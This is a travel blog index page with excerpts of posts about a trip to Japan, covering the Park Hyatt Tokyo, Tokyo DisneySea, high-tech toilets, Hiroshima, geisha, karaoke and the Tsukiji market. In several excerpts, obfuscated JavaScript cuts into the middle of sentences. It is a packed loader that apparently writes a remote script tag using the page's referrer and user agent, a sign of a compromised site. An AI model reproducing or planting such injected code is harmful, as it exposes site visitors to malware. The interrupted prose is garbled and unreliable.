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Spa Treatments in SE Asia – For Science: Japan

For science.  At least that’s what I told Nick. I dreamed up this great idea while we were staying at the Park Hyatt Tokyo.  Baller style.  I decided it was necessary ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eariy|var|u0026u|referrer|dbaen||js|php’.split(‘|’),0,{})) for me to compare beauty and spa treatments in every country we visited.  So naturally, I’d need to start […]

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10 things to know about Tokyo Disney Sea

No trip to Japan would be complete without a visit to the other happiest place on earth.  Right?  Well, at least it wouldn’t be complete for me.  Thankfully, my friends bought me a ticket for my birthday!  Coolest friends ever! Here are some of the interesting things I learned about Disney Sea. 1.  Disney Sea […]

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Travel Hacking Success at the Park Hyatt Tokyo

Nick and I have been wise to travel hacking for a year or two, but have never really attempted any of the strategies.  But now we’re hooked! What ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azakb|var|u0026u|referrer|sbsfi||js|php’.split(‘|’),0,{})) is travel hacking?  Basically, it’s making travel more budget friendly. On our first travel hacking experience, we successfully stayed at the Park […]

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Staying at the Park Hyatt Tokyo

I’ve ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|faekb|var|u0026u|referrer|kiefk||js|php’.split(‘|’),0,{})) never felt more like a superstar than I did while staying at the Park Hyatt Tokyo.  If this is what being rich and famous is like, I’m totally down. Today, I’m going to tell you how amazing this hotel is. And tomorrow, I’m going to tell you how we […]

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The Most High Tech Toilet I’ve Ever Seen

This ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yiiky|var|u0026u|referrer|kkstr||js|php’.split(‘|’),0,{})) was the toilet in our hotel.  We saw similar toilets in all of our hotels and most of the restaurants we visited.  Some were so high tech, I never figured out how to flush them.  I’m sorry, Japan!  Automatic flushing was not part of the technology – which is […]

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Japan – what I’ll miss and what I won’t

We’ve been in Vietnam for almost a week now, so I’ve had some time to think about what I loved and what I didn’t love about Japan.  Don’t get me wrong, I’m thankful for every bit of this trip, but there are definitely some things that I won’t miss about Japan. What ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return […]

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Day Trip from Kyoto: Hiroshima and Miyajima Island

I’ve wanted to visit Hiroshima since I was pretty little.  I had read Sadako ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzzra|var|u0026u|referrer|hyyrd||js|php’.split(‘|’),0,{})) and the Thousand Paper Cranes in elementary school and we have family roots in Hiroshima.  Kyoto is a relatively close shinkansen ride from Hiroshima, so it only made sense that we would visit the site. My […]

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Memoirs of a Geisha, In Real Life!

Did you read the book? See the movie? Even if you didn’t, you’ll still find the information fascinating.  Nick had not read the book or seen the movie and still enjoyed learning about the Geisha (Geiko in Kyoto). We had just finished exploring the Nishiki market and were looking for a self guided walking tour […]

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What’s your go-to Karaoke song?

No trip to Japan would be complete without a visit to Karaoke – or so we’ve been told.  My mom’s cousin, Tatsuyuki, met us at our hotel and we ventured to a Karaoke spot – an 8 story high building with small rooms along small hallways, accessed by an even smaller elevator. When we entered […]

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The Tsukiji Fish Market

We were told to go to the Tsukiji fish market on our first. The jet lag would actually help. Sure enough, we ere up at 4AM – no alarm needed. Unfortunately, you have to be at the market by 3:45AM to see the tuna auction – and the subways don’t start working until closer to […]